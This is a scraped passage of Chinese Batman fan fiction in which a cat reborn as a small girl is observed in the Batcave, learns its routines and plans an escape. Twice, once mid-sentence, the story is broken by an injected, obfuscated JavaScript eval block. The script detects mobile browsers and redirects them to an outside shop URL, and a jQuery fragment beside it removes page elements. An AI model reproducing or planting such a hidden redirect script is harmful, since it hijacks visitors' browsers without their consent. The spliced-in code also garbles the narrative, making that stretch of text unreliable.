斯诺伊听不懂这些分析,她只感到心脏在胸腔里怦怦直跳,耳朵里嗡嗡作响,那声巨响似乎还在回荡。她需要离开这里,立刻,马上。这个念头变得无比强烈。 她等到心跳稍微平复,身体不再颤抖,便从角落里爬了出来。这次,她没有走向食物台或饮水槽,而是朝着洞穴另一端,那个她尚未探索过的、似乎通向更深处或其它地方的黑暗通道走去。她的步伐很快,带着一种决绝的意味。 “她要离开。”达米安立刻说。 “通道A-3,通往废弃的地下水道检修层和几个未启用的物资仓库。”布鲁斯的声音平稳,“出口全部封闭,且有基础防御机制。” “让她去。”迪克忽然开口,他拦住了下意识要上前阻止的达米安,“看看她会怎么做。她需要测试环境的边界,我们也需要观察她在这种情况下的行为逻辑。” 布鲁斯沉默了两秒,默认了迪克的提议。监控画面切换到通道A-3内部。 斯诺伊进入了通道。这里比主洞穴更暗,只有墙壁上间隔很远的应急指示灯发出微弱的绿光。空气更潮湿,霉味和铁锈味更重。她走得很快,几乎是用小跑,受伤的肩膀在快速摆动时传来轻微的拉扯感,但她不在乎。通道并非直路,有岔口,有向上的楼梯(她试了,尽头是锁死的厚重金属门),有向下的坡道。 她选择了一条向下的坡道,直觉告诉她向下可能更接近“外面”。坡道尽头是一个相对开阔的空间,像是一个废弃的小型中转站,堆着一些腐朽的木箱和生锈的管道。这里没有明显的出口,只有几个巨大的、布满灰尘的排风扇叶,静止不动。 她四处摸索,拍打墙壁,试图找到暗门或缝隙。她的动作从急切逐渐变得焦躁。找不到。哪里都出不去。这个认知让她感到一阵窒息般的恐慌。她被困住了。 她靠着冰冷的石壁滑坐下来,抱着膝盖,把脸埋进去。这次不是因为警惕或休息,而是因为一种深重的、无法排解的沮丧和无力感。喉咙里发出一声极轻的、压抑的呜咽,像小猫找不到母亲时的哀鸣。 这个声音通过监控的拾音器,清晰地传回了主控台。 达米安抱着手臂,脸上没什么表情,但眼神里的锐利探究稍微淡去了一点。迪克轻轻叹了口气。 布鲁斯看着屏幕上那个蜷缩在废弃中转站里的小小身影,目光在她微微颤抖的肩膀上停留了片刻。他调出了哥谭市地下管网的全息图,标红了蝙蝠洞所在的区域以及所有可能的出口。那些出口对于现在的她来说,无一不是致命陷阱,要么通向更危险的深层水道,要么有精密的生物识别锁,要么直接连接着蝙蝠侠的防御反击系统。 她出不去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一次,斯诺伊没有立刻去拿食物。她站在洞穴中央,看看阿尔弗雷德,看看不远处的布鲁斯和达米安,又看看身后刚刚走出的黑暗通道。 然后,她做了一件出人意料的事。 她走到阿尔弗雷德面前,没有像上次那样点头,而是伸出一只手,非常轻、非常快地,碰了一下阿尔弗雷德拿着毛毯的手背。触碰的时间不到一秒,随即收回。 接着,她接过毛毯和食物,没有回那个箱子后的角落,而是走到主洞穴边缘,一个相对干燥、能看到主控台和通道入口,但又不那么显眼的位置。她裹上毛毯,坐下,开始安静地吃东西。吃几口,就抬起头,用一种平静了许多,但依旧带着审视的目光,扫视整个洞穴。 她的姿态仿佛在无声地宣告:我知道了界限。我暂时接受这里的规则。但我仍然在看着你们,就像你们看着我一样。 布鲁斯记录下了这个新的行为模式:在试探边界、经历挫折后,出现了策略调整。寻求基本生存保障(食物、衣物、毛毯)的同时,调整了自身的“据点”位置,以获取更优的观察视野,并尝试用更直接的物理接触(触碰手背)来确认“供给者”的稳定性和无害性。这是一种基于评估后的、有限度的“适应”,而非“驯服”。 “她在学习。”迪克低声说,语气里带着一丝赞叹,“学得很快。” 达米安没有反驳,只是又多看了斯诺伊几眼,眼神依旧复杂。 斯诺伊吃完了能量棒,裹紧毛毯,将自己缩成一个球。身体的疲惫和刚才情绪的大起大落让她很快感到困倦。但她没有完全睡着,耳朵依旧竖着(如果还有耳朵的话),捕捉着洞穴里的一切声响。 这一次,她的呼吸声里,少了些最初的惊恐不安,多了些疲惫后的平静,以及一种刚刚萌芽的、属于观察者的沉着。 界限已然清晰。试探告一段落。在这个巨大、冰冷、充满未知的巢穴里,一只猫的灵魂,在一个人类幼崽的身体里,开始了她艰难而奇异的学习与生存。而围绕着她的,是哥谭黑夜的守护者们警惕而探究的目光。风暴尚未到来,但寂静之中,潜流已在涌动。 5. 第五章 毛毯带来了意想不到的慰藉。它粗糙的纤维质地与斯诺伊曾经熟悉的猫窝触感不同,但那份包裹感、隔绝冰冷地面的柔软层,以及残留的、属于洁净织物的阳光气味(阿尔弗雷德显然精心熨烫并晾晒过),让她紧绷的神经得以略微松弛。她将自己裹紧,在新的观察点——一处略高于地面、能倚靠石壁的平整岩石凸起上——安顿下来。 接下来几天,一种新的平衡在洞穴里建立。斯诺伊的食物和饮水供应变得规律,阿尔弗雷德有时会在放下托盘后,短暂停留片刻,用平静的语气说一两个简单的词语:“鸡肉。”“面包。”“牛奶。”并不强求她回应。斯诺伊只是听着,偶尔在阿尔弗雷德指向某样东西时,用目光跟随。 她开始更系统地观察洞穴居民们的日常。布鲁斯的行动最有规律:分析情报、制定计划、训练、维护装备、外出(穿着那身漆黑的铠甲回来时,身上常带着硝烟、血腥和哥谭雨夜特有的阴冷气息)。迪克在的时候,会进行更偏向敏捷与技巧的训练,他的身影在障碍器械间翻飞,如同一只巨大的、优雅的夜行鸟类。达米安的训练则充满暴烈的效率,一招一式都追求击倒与制伏。 斯诺伊尤其注意他们的战斗方式。她看不懂那些复杂的格斗流派和战术配合,但她能分辨速度、力量、时机的运用,能看出迪克如何利用环境反弹改变方向,达米安如何精准攻击对手最脆弱的关节。这些观察储存在她的意识里,与猫的捕猎本能相互印证:伏击、扑击、利用速度和灵活性,攻击要害。 她也观察他们之间的互动。布鲁斯和达米安的对话常常简短而充满张力,达米安渴望证明自己,布鲁斯的指令不容置疑。迪克则像两者间的润滑剂,他能用玩笑化解达米安的怒气,也能用更委婉的方式向布鲁斯提出建议。阿尔弗雷德是恒定的背景音,提供物资、清洁、偶尔一句犀利的评论让布鲁斯沉默。 语言的学习在缓慢进行。她开始将特定的音节与物品、动作联系起来。“水”是饮水槽里流动的液体。“灯”是头顶那些发出白光的东西。“蝙蝠车”是那辆黑色的大车(迪克指着它说过一次)。她默默记忆,但发声器官依旧不听话,只能发出一些含糊的音节。 身体的协调性在进步。她开始尝试模仿看到的一些简单动作。她看到迪克做完一组拉伸,会尝试伸展自己的胳膊和腿,发现人类的关节活动方向与猫科动物不同,需要重新适应平衡。她练习走路,不再满足于蹒跚,而是尝试加快速度,减少晃动。有一次,她试图模仿达米安一个侧踢的起始动作,结果失去平衡摔倒在地,发出不轻的声响。 达米安立刻停下训练看了过来,眼神里没有嘲笑,只有评估。“核心力量不足,支撑腿稳定性差。模仿外形毫无意义。” 斯诺伊从地上爬起来,拍了拍手上的灰,看了达米安一眼,没理会他的评价,继续尝试调整姿势。她不在乎“意义”,她在乎的是“怎么做”。这次她放慢了动作,分解成抬腿、扭转、保持平衡几个部分,一点一点尝试。 迪克走过来,没有指导,只是在她旁边也做了几个非常基础、缓慢的平衡练习,重心从一脚转移到另一脚,手臂自然摆动维持稳定。斯诺伊看着他,然后学着他的样子,小心翼翼地转移重心。这次她坚持了更久。 布鲁斯在主控台后,将这一幕连同斯诺伊摔倒爬起、分解模仿、跟随迪克练习的全程记录下来。学习动机明确,具象模仿能力强,有初步的问题分解和解决策略。认知模式与常规人类儿童通过语言指导和抽象概念学习的方式存在显著差异。 几天后的一个晚上(根据布鲁斯他们的出入判断),洞穴里气氛有些不同。布鲁斯和迪克都不在,只有达米安在训练区,但他的训练显得有些心不在焉,动作带着烦躁。阿尔弗雷德也不在附近。 斯诺伊正裹着毛毯休息,忽然耳朵捕捉到一种极其细微的、压抑的抽气声。声音来自训练区角落,达米安背对着她,肩膀微微耸动。空气中飘来一丝极其淡薄、但对她变得敏锐的嗅觉而言清晰可辨的血腥味。 受伤了?斯诺伊想。她记得达米安之前和一个高级训练程序对战时,被模拟武器的钝击打中了肋骨位置。他当时闷哼一声,但没有停下,直到训练结束。 抽气声又响了一下,带着痛楚。 斯诺伊犹豫了。这个“好斗的幼崽”对她一直不友好,保持距离是明智的。但那股血腥味,和那压抑的、属于受伤动物的声音,触动了她某种更深层的东西。在她还是猫的时候,领地里的幼猫或受伤的同类,即使不亲近,也会得到她谨慎的关注和有限的帮助。 她慢慢松开毛毯,滑下岩石凸起,悄无声息地朝训练区走去。她的脚步很轻,即使在不平的地面上也能几乎不发出声音。 达米安显然沉浸在疼痛或烦躁中,没有立刻察觉。直到斯诺伊走到他侧后方几步远的地方,他才猛地转头,眼神锐利如刀,同时身体已经进入防御姿态。“你干什么?” 斯诺伊停下,没有后退,目光落在他用手按着的左肋下方。他的训练服是深色的,看不出血迹,但血腥味就是从那里传来的。她抬起手,指了指他捂着的位置,又指了指自己曾经受伤的肩膀,然后做了一个轻轻抚摸的动作,脸上露出一点询问的神色。 达米安皱紧眉头,眼神里的警惕未消。“不需要。”他生硬地说,试图站直身体,但肋部的疼痛让他嘴角轻微抽搐了一下。 斯诺伊歪了歪头,似乎不理解他的拒绝。她想了想,转身走开。达米安以为她放弃了,稍微放松了一点。 但没过多久,斯诺伊又回来了。她手里拿着两样东西:一条干净的(她之前没用过的)小毛巾,还有阿尔弗雷德之前给她处理伤口时用过的一小瓶外用消毒喷雾(她记得气味和那个喷头的样子,在医疗用品存放区边缘找到的)。她把东西放在离达米安不远的一个矮架上,然后后退了几步,看着他,蓝眼睛里没什么特别的情绪,只是平静地等待。 达米安看着那两样东西,又看看斯诺伊。他的表情在警惕、恼怒和一丝极淡的困惑间变幻。她是怎么知道具体位置的?她拿这些来是什么意思?一种幼稚的示好?还是别有用心的试探? “我说了,不需要。”他的语气稍微缓和了一点,但依旧强硬。 斯诺伊眨了眨眼,似乎没听懂,或者不在意他的拒绝。她只是站在那里,安静地看着他,仿佛在说:东西在这里,用不用随你。 然后,她转身,走回自己的毛毯处,重新把自己裹起来,恢复了之前休息的姿势,仿佛什么都没发生过。 训练区安静下来。达米安站了一会儿,肋下的疼痛持续传来。他看了看那瓶喷雾和毛巾,又看了看远处那个蜷缩的白色身影。最终,他啧了一声,还是拿起了喷雾和毛巾,走到更衣室的方向。 主控台的监控记录下了这一幕。布鲁斯稍晚时候回看时,将画面定格在斯诺伊放下物品后平静注视达米安的那一刻。行为动机分析:并非基于情感或社交目的的“关怀”,更接近于对“受伤同类”本能的、程序化的应对。提供基础医疗物资,保持安全距离,不强行介入。这与野生动物群落中观察到的某些行为模式有相似之处。但考虑到其获取物品的精准性(记住位置、识别特定药品),此行为中同样包含了观察、记忆和简单逻辑判断的成分。 这次小小的事件似乎带来了一些微妙变化。达米安之后看斯诺伊的眼神,少了几分纯粹的审视,多了一点难以言喻的复杂。他依旧不主动和她说话,但当斯诺伊再次尝试模仿一些训练动作时,他会冷冷地丢出一两句更具体的点评:“重心再低五公分。”“呼吸节奏乱了。”斯诺伊会停下来,按照他说的调整,虽然不一定完全理解原理,但身体会尝试执行。 迪克回来后听说了这事(可能是阿尔弗雷德说的,也可能是达米安自己别扭地提了一句),对斯诺伊的态度更加温和。他开始带来一些“教具”——一个软质的小球,几个不同形状的积木块。他会把球滚过去,或者叠起积木,然后推倒,发出简单的声音和音节。他在尝试用更互动的方式,测试她的认知和反应。 斯诺伊对球感兴趣。她会追逐滚动的球,用脚或手去拦停,然后试着用不那么协调的动作把球推回去。积木她不太理解叠高的意义,但对不同形状和触碰发出的声音感到好奇。她最喜欢的“教具”,是迪克某次带来的一个旧鼠标垫,上面有细微的、凹凸不平的纹路。她会用手指反复抚摸那些纹路,感受触觉的差异,有时会发出一点舒服的呼噜声(尽管很轻微)。 语言方面进展甚微,但她对声音的辨识力在增强。她能分辨布鲁斯、迪克、达米安、阿尔弗雷德的脚步声,能听出他们回来时是疲惫、轻松还是紧绷。她能听懂一些重复出现的指令性短句,比如“后退”、“停下”、“过来”。她开始用更明确的肢体语言回应:点头,摇头,指向某个方向。 她也在学习这个巢穴的“规则”。哪些区域可以靠近(饮水槽、临时存放食物和干净织物的角落),哪些地方最好不要踏入(主控台核心区、打开的装备库、正在运行的训练程序范围)。她学会了在布鲁斯穿着那身黑甲回来、身上带着浓重硝烟味和血腥气时,保持更远的距离和绝对的安静。那时他的气息最接近危险的顶级捕食者。 一周多的时间(蝙蝠洞的时间感是模糊的)就这样过去。斯诺伊肩膀上的伤痕几乎消失不见,只留下比周围皮肤略浅的一线。她的体力明显增强,走路跑动更稳,攀爬那些箱子堆已经相当熟练,甚至能利用墙壁的轻微凹凸进行短距离的横向移动。她与洞穴的居民们维持着一种脆弱的、非语言的共存状态。 然而,这种平衡是建立在“洞穴”这个封闭环境的基础上的。斯诺伊对“外面”的渴望并未消失,只是被暂时压抑。她会长时间凝视那些通往未知区域的黑暗通道口,耳朵捕捉着偶尔从通风管道传来的、极其模糊的城市噪音——遥远的警笛,隐约的车流,夜风的呼啸。 她的梦境开始出现破碎的画面:森林里漏下的阳光,主人手指抚摸脊背的触感,纽约公寓窗台上摆放的盆栽的气味,然后是刺眼的白光,剧痛,以及那座高耸入云的黑色塔楼。 哥谭。韦恩大厦。 为什么她会在这里?这个疑问像一根细刺,埋在她逐渐适应新生活的表层之下。 一天,当布鲁斯和迪克又一次外出夜巡,达米安完成训练后去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081292|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上层庄园,阿尔弗雷德也在上面忙碌时,洞穴里只剩下斯诺伊和低沉的机器嗡鸣。一种强烈的冲动攫住了她。 她走向主控台区域。平时那里是绝对的禁区。但此刻无人。巨大的屏幕大部分是暗的,只有少数几个显示着不断滚动的代码或哥谭市地图的局部,上面闪烁着各种颜色的光点。 她的目光被其中一个较大的屏幕吸引。上面显示的不是地图或代码,而是一幅动态的、从极高处俯瞰的夜景。璀璨的、密密麻麻的灯火勾勒出城市的轮廓,蜿蜒的河流像一条黑色的缎带穿过灯海。一些区域灯火格外密集明亮,一些则暗淡许多,还有大片近乎全黑的区块。画面边缘,一个熟悉的、高耸的轮廓矗立着——韦恩大厦。 这就是外面。哥谭的夜晚。 斯诺伊不由自主地走近,踮起脚,仰头看着那幅画面。她的蓝眼睛里映照着屏幕上流动的光点。一种混杂着陌生、疏离、以及微弱好奇的情绪涌上来。这就是她现在所在的地方。一个巨大、复杂、充满光与暗的两脚兽巢穴。 她的目光扫过屏幕下方的一排物理按键和一个轨迹球。她记得看到布鲁斯和迪克操作它们。犹豫了一下,她伸出食指,轻轻碰了一下轨迹球。 屏幕上的画面极其轻微地移动了一下。 她吓了一跳,立刻缩回手,警惕地看了看四周。没有警报响起,没有其他人出现。 她又等了一会儿,再次尝试。这次她用整个手掌小心地按住轨迹球,缓慢地滚动。屏幕上的俯瞰视角随之平移,灯火流转,展现出城市不同的区域。她看到一片密集的、规划整齐的明亮楼宇(金融区),一片灯光昏暗、建筑物低矮杂乱的区域(犯罪巷周边),还有一片几乎漆黑、只有零星几盏孤灯、轮廓像是废弃工厂的地方。 她的心跳加快了。这是一种控制感,一种探索感。她继续滚动轨迹球,画面继续移动。然后,她无意中碰到了一个旁边的按键。 屏幕一侧弹出一个较小的窗口,里面是静止的监控画面。画面里是一条潮湿的小巷,堆着垃圾箱,光线很差。看起来普普通通。 斯诺伊不知道这是什么,但画面里的环境让她感到不舒服。那种潮湿、肮脏、混乱的感觉,透过屏幕传递过来。她碰了另一个键。 画面切换。这次是一个十字路口,车流稀少,路灯明亮些。再按,是一个公园的入口,夜间照明下显得空荡寂静。再按,是一个便利店的外面,招牌闪着光。 她不停地按着,一个个监控画面快速切换,像一扇扇随机打开又关上的窗户,窥视着哥谭夜晚各个角落的碎片。有安静的街道,有喧闹的酒吧门外,有黑暗的桥洞,有灯火通明的酒店大堂一角…… 信息量太大了。陌生的场景,陌生的人类活动,各种光线、阴影、静止与流动的物体。斯诺伊感到一阵眩晕,眼睛有些发花。她停下按键,后退了一步,喘了口气。 就在她准备离开、回到自己安全的角落时,主控台深处,一个不起眼的次级屏幕自动亮了起来。不是监控画面,而是一组快速闪过的生理监测数据流,旁边配着简洁的波形图和数字。数据流的标签是:临时收容对象 - 神经活动与代谢状态。 斯诺伊看不懂那些数字和图表,但她看到了旁边一个小区域里,一个简化的、不断跳动的小小人体轮廓图,轮廓是白色的,周围有淡淡的绿色光晕。轮廓的头部、心脏、四肢等位置,有细微的光点在同步脉动。 她盯着那个跳动的白色轮廓。很熟悉的比例,很小。 她慢慢抬起自己的手,看了看,又看向屏幕上的轮廓。轮廓里代表手的部分,光点也在微微闪烁。 那是……她? 一种冰冷的感觉顺着脊椎爬上来。她一直知道被观察,但这是第一次如此直观地“看到”自己被观察的形式。那些跳动的光点,起伏的线条,冰冷的数字,都在描述着她的身体,她的生命活动,一刻不停。 这不是巢穴。这是观察箱。而她是里面的标本。 她猛地后退,撞到了身后的椅子,发出刺耳的摩擦声。屏幕上的数据流因为她剧烈的动作出现了短暂的波动,但很快恢复稳定,继续无情地记录着。 斯诺伊转过身,头也不回地冲回自己的毛毯处,一头扎了进去,将自己紧紧裹住,连脑袋都蒙住。毛毯下的身体微微发抖。 不是害怕,而是一种深切的、被冒犯的愤怒,混合着无助感。她提供食物和暂时的栖身之所,是为了这个?为了把她变成屏幕上跳动的光点? 洞穴里依旧只有机器的嗡鸣。但此刻,这声音听起来不再只是背景噪音,而是某种巨大、精密、冷漠的系统的呼吸声。而她,是这系统里一个正在被分析的数据点。 无声的课程仍在继续,但学生第一次真正看清了“课堂”的全貌。信任的幼苗尚未萌发,便已蒙上冰冷的霜。斯诺伊在毛毯的黑暗中睁大眼睛,蓝眼睛里最后一点懵懂的好奇彻底熄灭,取而代之的是一种更加清醒、也更加疏离的警觉。 外面的世界或许危险,但至少,那里没有无处不在的、将她每一分生命迹象都转化为数据流的眼睛。 离开的念头,从未如此强烈而清晰。 6. 第六章 毛毯里的黑暗并不能提供真正的隐藏。斯诺伊知道那些监控镜头无处不在,那些传感器可能连她毛毯下的颤抖和心跳都能捕捉。愤怒和无助像冰水一样浸透了她,但很快,猫的本能接管了情绪——在无力改变现状时,保存体力,降低消耗,等待时机。 她的颤抖逐渐平息,呼吸也缓慢下来,刻意调整成近似睡眠的悠长节奏。她需要思考,用这具新脑袋里还不甚熟练的、属于人类的思考方式。 逃跑。必须逃跑。 但怎么跑?之前的试探已经证明,已知的通道要么锁死,要么通向死路。强行突破?她评估了一下自己现在的力量。可以撞翻椅子,可以爬箱子,但绝对打不开那些厚重的金属门,更不可能对抗可能存在的防御措施(她记得迪克提过一次“基础防御机制”)。 需要帮助?不。这里的每一个两脚兽都是一体的。那个“黑漆漆”是首领,其他人听从他的命令。阿尔弗雷德提供物资,但也服务于这个系统。他们都在观察她,记录她。 那么,只能依靠自己,利用他们观察中的盲点,或者……利用规则。 规则。她开始回忆这些天观察到的一切。布鲁斯他们出入的规律(并非绝对固定,但有迹可循),阿尔弗雷德的活动时间,达米安训练后的去向,迪克偶尔单独留在洞穴里处理事务的时间段。不同区域的“禁忌”等级。那些设备运作的声音模式变化可能意味着什么。 还有,他们对她的“预期”。他们认为她“沟通存在严重障碍”,“行为模式不符合常规认知”。他们认为她是一只需要观察、需要引导、可能带有危险性的“异常生物”。他们警惕她的能力,研究她的行为,但也许……他们低估了她的学习速度和目的性。 她需要更多信息。关于这个洞穴的结构,关于那些锁和门的工作原理,关于“外面”的具体情况。 第二天,斯诺伊的行为模式出现了微妙的变化。她不再长时间凝视黑暗通道,也不再试图靠近主控台。她恢复了之前的日常:在岩石凸起上休息,按时进食,观察训练,偶尔进行自己笨拙的身体练习。但她观察得更仔细,尤其是那些与“出入口”相关的细节。 她注意到,当布鲁斯或迪克穿着便服(而不是铠甲)从上层下来时,会经过一个特定的区域,那里地面似乎有轻微的不同,光线也会短暂变化,然后一道几乎与墙壁融为一体的门会无声滑开,他们通过后,门又迅速关闭。那道门的位置,就在主洞穴一侧,看起来像是石壁本身。 她也注意到阿尔弗雷德运送物资下来的推车路线。推车会从一个更宽阔的斜坡通道下来,那道通道有更明显的大门,平时关闭,但阿尔弗雷德进出时会短暂开启,能瞥见后面是向上延伸的、铺着石材的坡道,光线更接近自然光。 她还发现,当洞穴里某个大型设备(比如空气循环系统的主机)启动或关闭时,一些通风口的栅栏会发出几乎听不见的电机转动声,气流方向也会改变。这些通风口大小不一,遍布洞穴顶部和墙壁高处。 太小,钻不进去。但这是一个信息:这个洞穴并非完全密闭,它与外部有空气交换,有通道,只是对她而言难以触及。 语言学习的停滞状态也被她主动打破。当迪克再次用小球和简单词语和她互动时,她表现出了比之前更明确的“学习”意图。她会指着球,看着迪克,发出一个含糊但努力模仿“球”的音节。她会跟着迪克重复“水”、“灯”、“走”这些词,虽然发音古怪,但能听出是在模仿。 迪克对此显得很高兴,教学更积极了。他甚至开始尝试教她一些更复杂的、与行动相关的词组,比如“拿起球”、“放下”、“走到这里”。斯诺伊学得很慢,经常需要多次重复和示范,但她表现出耐心和坚持。 这一切都被记录在案。布鲁斯分析着数据:语言模仿能力出现,主动学习意愿提升,社交互动尝试增加。行为模式向“适应性学习”方向偏移。威胁等级评估:略有下调,但核心异常(愈合能力、行为矛盾)未变,持续观察。 达米安冷眼看着斯诺伊的“进步”。“她在讨好格雷森。”他对布鲁斯说,“策略性行为。为了获取更多资源或降低警戒。” “可能。”布鲁斯不置可否,“继续观察其一致性。” 斯诺伊不在乎他们的分析。她学语言,不是为了沟通,而是为了理解。理解他们的指令,理解他们对话中的关键词,理解这个环境的运行规则。每一个新学会的音节或词语,都是撬开信息壁垒的一把微小钥匙。 机会在一个看似平常的时刻到来。那天下午(根据阿尔弗雷德送下来的茶点时间判断),布鲁斯和达米安去了蝙蝠洞更深处的实验室区域,似乎在进行某种需要高度专注的装备调试。迪克在蝙蝠车旁进行常规检修,工具偶尔发出叮当声响。阿尔弗雷德在上层庄园。 斯诺伊吃完阿尔弗雷德留下的点心,像往常一样在洞穴里慢走活动。她经过那个布鲁斯他们进出的、伪装成石壁的滑门前,似乎被地面一块反光的小东西(可能是一小块脱落的金属片)吸引,蹲下身去捡。 她的动作很自然,蹲下的位置恰好靠近滑门一侧的墙壁。借着弯腰的掩护,她极快地用眼角余光扫视门框边缘。没有明显的按钮或锁孔。墙壁的纹理连续,几乎看不出缝隙。但就在她手指即将碰到金属片时,她感觉到墙壁靠近地面处,有一股极其微弱的气流,温度也与周围石壁略有不同,更接近上层庄园下来的空气温度。 这里有一个隐蔽的通风或传感开口。很小,但确实存在。 她捡起金属片,站起身,若无其事地走开,继续她的“散步”。心中默默记下这个位置和感知到的细节。 走到靠近物资坡道大门附近时,她听到迪克那边传来通讯器轻微的嘀嗒声,然后是迪克压低的声音:“……夜翼收到。东区吗?我大概二十分钟后到。B和小D还在下面忙那个冷冻胶囊的密封问题……好的,保持频道畅通。” 有任务。迪克要离开。东区?她记得在监控画面上看到过这个区域标注,在哥谭地图的东边,靠近港口,灯光比较混乱。 她走到饮水槽边,慢慢喝水,耳朵竖着。 很快,迪克结束了检修,清洗了手,朝主控台方向走去,似乎要留个消息。他经过斯诺伊身边时,停了一下,对她笑了笑:“嘿,小家伙,我出去一下。你乖乖待着。”他指了指她常待的岩石凸起,“阿尔弗雷德一会儿可能会下来。” 斯诺伊看着他,点了点头,表示听懂。 迪克似乎对她的回应感到满意,快步走向滑门区域。只见他走到门前特定位置,停顿了不到一秒(斯诺伊紧盯着,注意到他的脚似乎踩中了某块地砖的特定区域,同时身体微微前倾),滑门无声开启,他闪身出去,门随即关闭。 斯诺伊的心脏在胸腔里轻轻撞了一下。触发方式!不是密码,不是钥匙,是某种身份识别结合了压力感应或近距离传感器?位置很关键。 她喝光杯子里最后一点水,走回自己的位置,裹上毛毯,躺下,闭上眼睛,仿佛要小睡。大脑却在飞速运转。 迪克走了。布鲁斯和达米安在深处实验室,那里的隔音很好,他们短时间内不会出来。阿尔弗雷德在上层。现在,洞穴里名义上只有她一个人,而且处于“休息”状态,监控注意力可能相对降低。 这是一个窗口。很小,但存在。 她需要验证迪克的触发方式,但绝对不能直接尝试。那会立刻触发警报。她需要更多信息,关于那个感应区域的具体范围和灵敏度。 她耐心地等待着,用耳朵捕捉着一切声音。机器的嗡鸣,通风口的气流声,远处实验室隐约传来的、被厚重门阻隔的模糊声响。时间一分一秒过去。 大约过了十分钟,她听到上层传来极其轻微的动静,像是门开关的声音,然后是阿尔弗雷德平稳的脚步声沿着坡道下来。他推着一辆小推车,上面放着一些新鲜的补给品和换洗织物。 阿尔弗雷德进入主洞穴,目光习惯性地扫视,看到蜷在毛毯里的斯诺伊,便没有打扰。他将推车停在物资存放区,开始有条不紊地整理物品,将一些东西放入柜子,将另一些搬到蝙蝠车旁的装备补充点。 斯诺伊继续假装睡觉,但眼睛睁开一条缝,观察着阿尔弗雷德。他的行动路线很固定,不会靠近那个滑门触发区域。 整理工作持续了几分钟。然后,阿尔弗雷德似乎想起什么,走向主控台,在某个面板上操作了几下,可能是在查看庄园的安全系统状态或者留言。他背对着斯诺伊和滑门区域。 就是现在。 斯诺伊悄无声息地从毛毯里滑出来,像一道影子般贴着石壁,以最快的速度(同时控制着不发出明显脚步声)移动到滑门附近。她没有靠近迪克之前站立的那个中心点,而是停在侧面几步远的地方。 她蹲下身,假装系并不存在的鞋带(阿尔弗雷德给她的软底布鞋很简单),手指却极其轻微地拂过地面。就是这里,温度差异最明显的地方。她用手指的触觉感受地砖的纹理,边缘,试图找出不同。肉眼几乎无法分辨,但指尖能感觉到一块大约三十公分见方的区域,表面的磨砂颗粒感比周围地砖略微细腻一些,而且极其轻 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阿尔弗雷德的目光在她和金属片之间移动了一下,严肃的脸上表情缓和了些许。“是的,一块小金属。请小心不要割伤手。”他走过来,弯腰捡起金属片,放入推车旁的废物袋。“您应该继续休息,或者可以用些水果。”他指了指推车上新放的一盘切好的苹果块。 斯诺伊点点头,慢慢站起身,走回自己的毛毯处,接过阿尔弗雷德递过来的小盘子。苹果清脆微甜,她小口吃着,心跳逐渐平复。 好险。但值得。她得到了关键信息:触发区域的位置和大致特征。墙壁后存在活跃的电子设备。阿尔弗雷德的警觉性很高,即使在处理其他事务时,也对她的异常动向保持关注。 这意味着,即使找到方法触发门禁,通过时的速度必须极快,不能有任何犹豫,而且必须立刻消失在门后的通道中,不能给阿尔弗雷德或其他人反应和封锁的时间。 难度极大。几乎不可能。以她现在对这具身体的掌控,以及对门后环境的一无所知,成功几率渺茫。 沮丧感再次袭来,但比上次更淡。至少她有了进展,有了一个具体的目标点。 她吃完苹果,将盘子放回推车。阿尔弗雷德已经整理完毕,推着车准备返回上层。“布鲁斯老爷和达米安少爷可能还需要一段时间。如果您需要什么,可以按这个。”他指了指斯诺伊岩石凸起旁边墙壁上一个不太显眼的白色小按钮,“我会听到。” 斯诺伊看了看按钮,点点头。她知道那个按钮,从未碰过。 阿尔弗雷德离开了,坡道大门关闭。 洞穴再次陷入只有机器声的寂静。布鲁斯和达米安还没有从实验室出来。 斯诺伊重新裹上毛毯,但这次没有躺下。她抱着膝盖,坐在那里,目光落在远处的滑门上。 硬闯不行。需要时机,需要策略,需要……外部干扰。 外部? 她的目光移向主控台那些屏幕。屏幕上依旧显示着哥谭的夜景地图,光点闪烁。东区……迪克去了那里。那里正在发生什么?如果那里发生的事情足够大,大到需要布鲁斯也立刻出动呢?那么洞穴里可能会有一小段完全无人的时间。或者,至少注意力会被严重分散。 但她怎么能知道东区发生了什么?又怎么能影响那里的事情? 她不知道。至少现在不知道。 然而,一个想法像种子一样落进了她的意识。这个洞穴,这些屏幕,这些监控……它们不只是观察她的工具。它们也是观察外面世界的眼睛。也许,她可以学习使用这些眼睛,不是为了逃跑路线(那些信息她接触不到),而是为了了解外面的“动静”,了解什么事件会引发洞穴内人员的调动。 这需要她更靠近主控台,需要她理解屏幕上那些闪烁的光点和跳动的符号代表什么。这比学几个词语难得多,也危险得多。 但这是目前能看到的、唯一可能通向“机会”的路径。 斯诺伊缩在毛毯里,蓝眼睛在昏暗光线下显得格外幽深。愤怒和沮丧沉淀下去,转化为一种冰冷的、耐心的决心。观察箱里的标本,开始学习观察者的工具。 裂隙中的微光虽然黯淡,却照亮了她从未设想过的方向。逃跑不再是盲目的冲撞,而是一场需要缜密计算、等待时机、甚至可能利用“系统”本身漏洞的漫长博弈。 而在这场博弈中,她唯一的筹码,是她作为一只活了十八年的猫所积累的耐心、观察力、学习能力,以及那份被自然之力重塑后,隐藏在幼小人类躯体下的、不容小觑的生命韧性与潜力。 哥谭的夜晚还很漫长。蝙蝠洞里的时间仿佛凝固。但变化,已经在最细微处悄然发生。 7. 第七章 